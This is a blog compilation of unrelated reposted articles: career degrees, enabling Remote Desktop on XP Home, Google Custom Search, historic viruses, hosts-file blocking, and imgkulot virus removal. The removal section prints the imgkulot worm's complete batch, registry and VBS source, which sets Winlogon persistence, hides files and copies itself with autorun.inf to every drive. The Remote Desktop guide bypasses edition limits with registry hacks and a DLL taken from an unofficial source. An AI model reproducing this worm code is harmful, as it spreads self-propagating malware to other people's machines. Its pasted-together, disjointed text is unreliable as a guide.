Facebook as a Sub-internet Platform

Strong Internet Platform inside an Internet Platform

well in short you can publish and use applications inside it its like your in a Ship Cruise in a Big and unlimited Ocean.

A city within a City.

Degrees That Gets You Sure-Fire Hires

8 Sure-Fire Hires: Degrees that Could Make Your Career Search a Snap

By Chloë Dowley

Do you really want to commit to a 4-year degree? While it can be intimidating to consider investing the time and money required to get a bachelor’s degree, choosing the right degree could make it well worth your effort. Information on the following 8 careers is based on current projections by the U.S. Bureau of Labor Statistics (BLS), whose data indicate that these occupations will experience more growth than any others through 2016. Spend the next four years preparing for one of the following professions, and your job search could be a breeze.

Computer Software Engineer

- Interested in math and computers? Embrace the nerd within while you learn to design, develop, test, and evaluate computer software and systems.Get the Degree: A program in software engineering or computer science can help you learn the networking and programming basics to hold your own in this high-tech career.
Happily Ever After: BLS expects a whopping 325,000 new jobs for computer software engineers through 2016. Better still, the 2006 median wages for these IT gurus ranged between $79,780 and $85,370, depending on field of specialization.

Accountant

- Tax season may be over, but the demand for number-crunching geniuses in this field should last for years.

Get the Degree: Study accounting or business to prepare for a career as an accountant.

Happily Ever After: Employment of accountants and auditors is expected to grow to the tune of 226,000 new jobs, and median annual earnings in this field were $54,630 in 2006.

Elementary Teacher

- Consider the potential perks of a career in teaching: a pet gerbil in your ‘office,’ mandatory recess every day, and at least twenty children who think you’re cool.

Get the Degree: Get your bachelor’s degree from an accredited teacher education program, in which you learn how to plan a curriculum and manage a classroom.

Happily Ever After: Between 2006 and 2016, the need for elementary teachers will increase by 209,000. You probably won’t get rich as a teacher but the summer vacations may be worth more than a six-figure salary.

Personal Financial Advisor

- Learn the ins and outs of tax laws, insurance, and investments to help your clients plan for retirement and finance their children’s educations.

Get the Degree: Because this profession requires skills in a range of subject matters, choose from degree programs in accounting, finance, economics, business, mathematics, or law to help prepare you for a job.

Happily Ever After: The BLS expects a need for 72,000 new personal financial advisors through 2016; median earnings were $66,120 in 2006.

Market Research Analyst

- Get inside the brains of consumers to help companies market their products using tools such as Internet and telephone surveys.

Get the Degree: Whether you get your degree in business, marketing, or psychology, make sure to follow a well-rounded course of study that includes mathematics, statistics, and economics.

Happily Ever After: Nearly 50,000 new market research analyst positions should become available between 2006 and 2016, with 2006 median annual wages of $58,820.

Computer Systems Analyst

- Keeping current with the ever-changing world of information technology, computer systems analysts help businesses and organizations find the right technologies to meet their needs.

Get the Degree: Analysts aspiring to work in the business world should get a degree in management information systems.

Happily Ever After: A growing dependence on eCommerce and Internet technologies is expected to lead to almost 150,000 new jobs for computer systems analysts. Starting offers for graduates in this field were close to $50,000 in 2006.

Securities, Commodities, Financial Services Sales Agents

- Watch out Wall Street! A career as a stock broker or investment banker can offer a fast-paced, intense work environment with the potential for financial rewards.

Get the Degree: A degree in finance, economics, business, or accounting provides the best preparation for a job in this field.

Happily Ever After: Nearly 80,000 new jobs are expected through 2016. Play your cards right and you could be earning six figures within a few years of graduation.

Financial Analyst

- Put your math skills to the test in this profession, working for banks, insurance companies, or securities firms to improve their bottom line.

Get the Degree: Choose from a bachelor’s degree in finance, business administration, accounting, statistics, or economics to prepare for the rigors of this career.

Happily Ever After: According to BLS data, 75,000 new financial analysts will be hired between 2006 and 2016, and the median salary in 2006 was $66,590.

Where Will You Be in 4 Years?

Four years may sound like a long time to devote to your education, but it’s really just a drop in the bucket compared to the lifetime you could spend in a financially and personally rewarding career. Make the investment in your future now with a mind-broadening and career-enhancing degree. You could be reaping the rewards for years to come.

ref:

http://education.yahoo.net/degrees/articles/featured_8_sure_fire_hires.html

Enabling Remote Desktop in XP Home

(This is a rather technical post so feel free to skip this if the title means nothing to you)

I had a dilemma last night. I was linked to this great article by someone in ArsTechnica’s #linux on setting up SeamlessRDP to my VMWare Windows XP installation to achieve an effect similar to VMware Fusion’s Unity on Mac OS X. The problem is that I soon found out that Remote Desktop is disabled in XP Home Edition, only to be enabled in XP Professional.

It took a lot of digging around but I was eventually able to figure out how to get this enabled. So here is my guide on how to enable Remote Desktop in Windows XP Home Edition. Just a heads up that this was important to me because of RDP’s ability to launch specific applications for seamless integration into my Linux desktop, if you don’t need this and just want a full desktop window, one of the free VNC solutions might be better for you (TightVNC seems popular).

The first thing is to trick the installation into thinking that it’s actually XP Pro. I found this information here. Before doing this it might be best to make sure your install is already set up with Service Pack 2, etc.

1. Navigate the Windows registry to HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00X/Control/ProductOptions (where ControlSet00X is the one with the highest number) and delete the “ProductSuite” key.
2. Create a new DWORD key in this same folder called “Brand” and set it’s value to 0.
3. Reboot Windows. At startup mash F8 to bring up the boot options and choose “Last Known Good Configuration”.

After some hard disk churning you will be back to your welcome screen or desktop. You can then go to the System control panel and see that you now have a Professional Edition setup. This is great so far but unfortunately doesn’t actually install all those professional features.

Now I needed to get Remote Desktop to accept incoming connections.

I found this batch file on a forum post. It’s easy to follow; it basically creates a .reg file with the required keys, merges it, and does a reinstall of terminal services. After a reboot you should now see Terminal Services alive and well in the Services Administrative Tool. A “netstat -a” in the Command Prompt should show port 3389 as listening. At this point I was able to connect to my server but was getting disconnected immediately. After some more digging I found a replacement termsrv.dll that was actually from a Service Pack 2 beta but did the trick for me. Follow the instructions there or here (it must be replaced in safe mode). You might be interested in the registry edits mentioned in those posts as well for concurrent users.

I don’t know how much of this was necessary but after all this tinkering last night I am now able to Remote Desktop with success to my XP Home installation. Yay! One more thing… make sure you have a password associated with your Windows user!

ref:

http://www.geekport.com/2007/08/15/enabling-remote-desktop-in-xp-home/

Adding Search to Your Site

or . . . Google Scores Another HitI had planned to write an article about adding search to your site. After all, Google has become the way people use the Web. “Google it” is now a household phrase. And yet, many sites still don’t have a search feature in place.The reasons for this seem to be primarily that until recently, it’s been a big deal to add search. Big companies with big budgets have typically relied on commercial search software and/or online search services. The price tags for these search engines are fairly high. Well out of range for smaller businesses or for personal sites. There have been two options available for these latter groups: hosted search solutions and do-it-yourself scripts you (or your developer) can snatch off the Web. The price is right for both of these options, with some being free and others having nominal fees. They may not come with all the bells and whistles of a larger search utility, but I’ve used them and have found them to be more than adequate.

My original plan when I sat down to write this article, then, was to check out several options from all three types of search: commercial, and freebie or low-cost hosted search engines and scripts for search engines. Then, I found Google’s Custom Search Engine and it was all over. They made it sounds so SIMPLE. And it harnesses the power of Google. And you can tell it to just search your site or to search the whole Web. I was hooked! I spent the rest of the afternoon giving it a test drive. The Custom Search Engine is still in beta but what I’m seeing so far is excellent.

If you’ve read my blog or Site Redesign and Findability article, you may know that I have a site for my psychotherapy practice that’s in serious need of a redesign. Since I’m planning on a major overhaul of the site and since I use that site when I’m wearing my psychology professional hat, I was eager to use it for my Custom Search Engine trial. First I’ll tell you about creating and customizing your engine and then I’ll tell you a bit about what it does, based on my experiences so far.

Creating Your Custom Search Engine

Let me begin by saying that for some reason, new stuff often scares me. I have tons of self-confidence in some areas of my life, but figuring out how to install the search engine wasn’t one of them. In other words, take heart, novices . . . if I can do this, you can, too.

And frankly, in a word, it was EASY. Even for me. Google’s directions are clear and relatively consise. However, I’m going to summarize them and hopefully make it even easier for those of you wanting to get up and running quickly with a fairly basic install:

• The first thing I would do is to create the page you want your search results to be displayed on. I just named mine “search.html” and included all the header (logo and global nav) and footer info I have on each page in my site and left the rest blank. This makes my search results page look like every other page on my site. By inluding the navigation links, users can either click on the search results or go back to the main sections of the site. Don’t do anything else with this page yet — no need to even upload it because you’ll be adding some stuff to it.
• If you don’t already have a Google Account, you’ll have to create one. Once you have an account, you’re ready to go ahead and start filling out the form to create your engine. They’ll ask you to name your search engine and give it a description. If you don’t create your own custom search page (like we did in the step above), Google uses these at the top of your SERP (Search Engine Results Page). Since we’re using our own logo, the name and description don’t show up on your SERP. However, they may be used as part of Google’s algorithm so I’d put some thought into what to put here.
• After these 2 items, you have to list some keywords. There’s a limited amount of space for this but there was more room than I expected. I was able to include the following before it cut me off: psychology psychotherapy “mental health” counseling depression dissociation “eating disorders”. I’m not sure about this, but if I understand it correctly, the keywords you list might help people find your site, perhaps even help your site’s ranking. (Anyone know for sure about this?) I’m not sure if it does anything for your internal search or not. Once I had my search installed, I couldn’t notice any difference between searches for a word I had chosen as a keyword vs. for one that was not.
• The next step is to choose which pages or site(s) you want your search engine to crawl. You can easily add or exclude additional pages later so if you’re like I was and eager to see it in action, just go ahead and list your entire domain. If you want to know more about the nitty gritty of adding and excluding stuff, Google has a great page explaining it. Once you enter your URLs, you choose whether you want Google to search only your site or whether you want to include results from the whole web.
• Unless you’re a non-profit, university, or government website, you’ll have to agree to have Google sponsored ads on your page. But you can choose later where you want them to appear so that’s cool.
• Believe it or not, that’s basically it as far as creating your search engine. You agree to the terms of service and click “Finish” and voilá! You have a custom made, Google-powered search engine for your site. Of course, it won’t do you much good unless you actually put in on your site, but Google makes that easy, too.

Customizing Your Site With Your Search Engine

Once your engine has been created, you’ll have a Control Panel link you can click on. The control panel has the following navigation links across the top:

• Basics
• Sites
• Refinements
• Look and feel
• Code
• Collaboration
• Make money
• Advanced
• Preview

To continue in the spirit of getting things up and running quickly, I jumped straight to the “Code” link. Here’s what you do there:

• There’s more than one way you can display your search on your site. Since we’ve created a special custom search page (remember our search.html?), skip the first option Google gives you, where it says “Search box code for your website” and looks like this:

• Instead, look below the box of code to a line that says: “Search box and search results code for your website”. Click on the “+” sign in front of “Search box and search results code for your website” to open that area:

• Choose the Google logo you want for your site. If the background color of your site is either white, black or gray (#B8B8B8 of all things!), you’re in luck since there’s a logo for each of those background colors. My home page, unfortunately, is in-your-face purple. However, they also have a nice-looking watermark logo that requires a bit of JavaScript (which they provide) so that one was fine for my site.
• After you choose your logo, look for the line that says, “Specify the URL of the page on your site where you want the search results to appear”. This is where you enter the url of the page you built in the first step. Even though you haven’t uploaded it yet, go ahead and enter the URL. For example, mine was http://www.susanlitton.com/search.html.
• Below that, you specify where you want your ads to appear. I put mine only on the right.
• After that are two boxes of code. The first one is the code that you put on each page of your site where you’d like a search box to appear. I wrapped the whole thing in a div, absolutely positioned it, and added that code snippet to each page of my site.
• The second code box is what you paste into your search.html page (or whatever you named your search results page. Since I created a page with header and footer info, I put the search code in the area between the two.
• Upload each page where you added code (including your results page) and voilá! Your site now has a search engine!

Features of the Custom Search Engine

So now that we have it, what exactly is the Custom Search Engine? Basically, it’s like having your own personalized “mini-Google” that only searches your site. Ok, so it COULD search the entire web, but I suspect most people will want to restrict the search. And speaking of restricting, you don’t have to submit your entire site. You can tell Google to totally ignore certain pages, or you can include those pages but request that results from them be listed after results from your more important or relevant pages. For example, when I first installed my Google Search, I discovered that Google was not only searching my psychology site, but also all the other folders I have in my root folder. More specifically, I have a folder named “school” that holds various projects and jump pages I’ve built as a student. Many of those were actually rating higher than my therapy site. For example, when I entered the word “anxiety” in the search box, the first item returned was from a blog I made for a course in CSS. I was curious as to why it ranked so high because that was a techy/artsy blog. Didn’t have anything at all to do with psychology. When I checked, however, I had titled one of my posts “Anxiety” so I guess since it was header text and internally linked, Google flagged it as important. To include or exclude certain pages or folders from your search, go to your Control Panel and click on “Sites”.

Another feature you might enjoy knowing about is the “Look and Feel” link in your Control Panel. From here, you can customize link and text color, etc., as it will appear on your results page:

I’ve only skimmed the surface in this article about what a Google Custom Search Engine can do. Other features include:

• Invite friends and trusted users to contribute to your search engine and become co-editors
• Make money by linking your Custom Search Engine with your Google AdSense account
• Add other sites to your search engine’s index as you surf the web
• Provide refinements on your results page to make it easier for searchers to find what they’re looking for

Even without having tried these additional features, however, I’m sold. Two thumbs up for Google’s Custom Search Engine!

ref:
http://shrink-art.com/susan/school/findability/blog/add-search-to-your-site/

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The worst computer viruses of all time

If you haven’t experienced a computer virus yet, just wait — you probably will.Fortunately, you missed the real heyday of computer viruses when anti-virus software wasn’t very widely used, and virus attacks caused millions of dollars in damages overnight. Today’s viruses can still be nightmarish, but for the average user, cleanup is considerably easier than it was just a few years ago, when the only solution in many cases was reformatting your hard drive and starting from scratch (and even that didn’t do the trick sometimes).

So join me on a trip down memory lane as we revisit some of the worst viruses of all time and count our blessings that our computers are still up and running despite it all. (Though, please note, “worst” is a matter of considerable debate in the security industry, as the number of infected machines and amount of financial loss is always estimated. If you think another virus was worse than these, please post it in the comments to remind us!)

The worst viruses of all time

Brain, 1986
It all started here: Brain was the first “real” virus ever discovered, back in 1986. Brain didn’t really hurt your PC, but it launched the malware industry with a bang and gave bad ideas to over 100,000 virus creators for the next 2 decades.

Michelangelo, 1991
The worst MS-DOS virus ever, Michelangelo attacked the boot sector of your hard drive and any floppy drive inserted into the computer, which caused the virus to spread rapidly. After spreading quietly for months, the virus “activated” on March 6, and promptly started destroying data on tens of thousands of computers.

Melissa, 1999
Technically a worm, Melissa (named after a stripper) collapsed entire email systems by causing computers to send mountains of messages to each other. The author of the virus was eventually caught and sentenced to 20 months in prison.

ILOVEYOU, 2000
This was notable for being one of the first viruses to trick users into opening a file, which in this case claimed to be a love letter sent to the recipient. In reality, the file was a VBS script that sent mountains of junk mail and deleted thousands of files. The results were terribly devastating- one estimate holds that 10 percent of all computers were affected, to a cost of $5.5 billion. It remains perhaps the worst worm of all time.

Code Red, 2001
An early “blended threat” attack, Code Red targeted Web servers instead of user machines, defacing websites and later launching denial-of-service attacks on a host of IP addresses, including those of the White House.

Nimda, 2001
Built on Code Red’s attack system of finding multiple avenues into machines (email, websites, network connections, and others), Nimda infected both Web servers and user machines. It found paths into computers so effectively that, 22 minutes after it was released, it became the Internet’s most widespread virus at the time.

Klez, 2001
An email virus, Klez pioneered spoofing the “From” field in email messages it sent, making it impossible to tell if Bill Gates did or did not really send you that information about getting free money.

Slammer, 2003
Another fast spreader, this worm infected about 75,000 systems in just 10 minutes, slowing the Internet to a crawl (much like Code Red) and shutting down thousands of websites.

MyDoom, 2004
Notable as the fastest-spreading email virus of all time, MyDoom infected computers so they would, in turn, send even more junk mail. In a strange twist, MyDoom was also used to attack the website of SCO Group, a very unpopular company that was suing other companies over its code being used in Linux distributions. 

Storm, 2007
The worst recent virus, Storm spread via email spam with a fake attachment and ultimately infected up to 10 million computers, causing them to join its zombie botnet.

Thanks to Symantec for helping to compile this list.

http://tech.yahoo.com/blogs/null/87095
Thu Mar 20, 2008 12:11PM EDT

How to Block Websites

HOW TO…
Block websites

How do I block certain websites from being viewed on my computer? I am using Internet Explorer.

Software like ‘Net Nanny’ allows you to control which websites can be accessed from your computer.

If you don’t have a monitoring program though, you can achieve similar results with a little bit of technical know-how.

Open Windows Explorer.

Browse to C:\WINDOWS\system32\drivers\etc.

Find the file named “HOSTS”.

Open the file in notepad.

Under “127.0.0.1 localhost” add 127.0.0.2 www.name_of_the_site_to block.com. So, if you’d like to block www.hotporn.com, the code will look like this:
127.0.0.1 localhost
127.0.0.2 www.hotporn.com

The site is now blocked.

If you want to block another site, just repeat the process with the next number in the 127.0.0 sequence. For example:
127.0.0.3 www.blocked_site.com
127.0.0.4 www.blocked_site.com  

source:
http://cooltech.iafrica.com/swissarmy/howto/478289.htm

imgkulot virus removal tool websites solutions

http://www.bleepingcomputer.com/forums/lofiversion/index.php/t106818.html
Success / Resolved

black.star
Sep 3 2007, 11:08 AM

i was already able to fix that imgkulot thing.. it was an autorun.vbs problem and a friend told me to go to cmd..
then i typed del c:\autorun.* /f/s/q/a
it solved the problems! thanks for your help though! i’ll continue to support this site and the people making the site valuable!!

disabling the Autorun feature on USB drives
http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx

http://royalflare.wordpress.com/2007/10/02/how-to-remove-imgkulot-virus/
failed

imgkulot virus

here are the file Contents

IMGKULOT.BAT

Code:

@echo off if exist .\imgkulot.reg regedit /s .\imgkulot.reg if not “%1″==”" goto open if exist imgkulot.vbs start WScript.exe imgkulot.vbs&exit if exist %SYSTEMROOT%\system32\imgkulot.vbs start WScript.exe %SYSTEMROOT%\system32\imgkulot.vbs&exit exit pen if not “%1″==”Open” goto next start explorer .\ exit :next if “%1″==”+” attrib +s +a +h +r %2\imgkulot.* if “%1″==”+” attrib +s +a +h +r %2\autorun.inf :end

IMGKULOT.reg

Code:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] “Userinit”=”userinit.exe,imgkulot.bat” [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] “ShowSuperHidden”=dword:00000000

IMGKULOT.vbs

Code:

‘imgkulot v1.0 ‘Iloilo City Phils ‘email me if you found this @ imagina_boy@linuxmail.org ‘May 2007 on error resume next Set WshShell =CreateObject(“WScript.Shell”) For i=1 to 1 set Of = CreateObject(“Scripting.FileSystemObject”) set dir = Of.GetSpecialFolder(1) Set dc = Of.Drives if WScript.ScriptFullName=dir&”\imgkulot.vbs” then    isdir=true else    a=WshShell.Run(“imgkulot.bat Open” ,0,False)    isdir=false end if For Each d In dc    If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>”A:” and d<> “B:”) Then    a=WshShell.Run(“imgkulot.bat – “&d ,0,True)       if isdir then          Of.CopyFile dir&”\imgkulot.*”,d&”\”,True          Of.CopyFile dir&”\autorun.inf”,d&”\”,True       else          Of.CopyFile “imgkulot.*”,d&”\”,True          Of.CopyFile “autorun.inf”,d&”\”,True       end if          a=WshShell.Run(“imgkulot.bat + “&d ,0,True)    End If next if isdir then    wscript.sleep 60000    i=0 else    a=WshShell.Run(“imgkulot.bat – “&dir ,0,True)    Of.CopyFile “imgkulot.*”,dir&”\”,True    Of.CopyFile “autorun.inf”,dir&”\”,True    a=WshShell.Run(“imgkulot.bat + “&dir ,0,True) end if next

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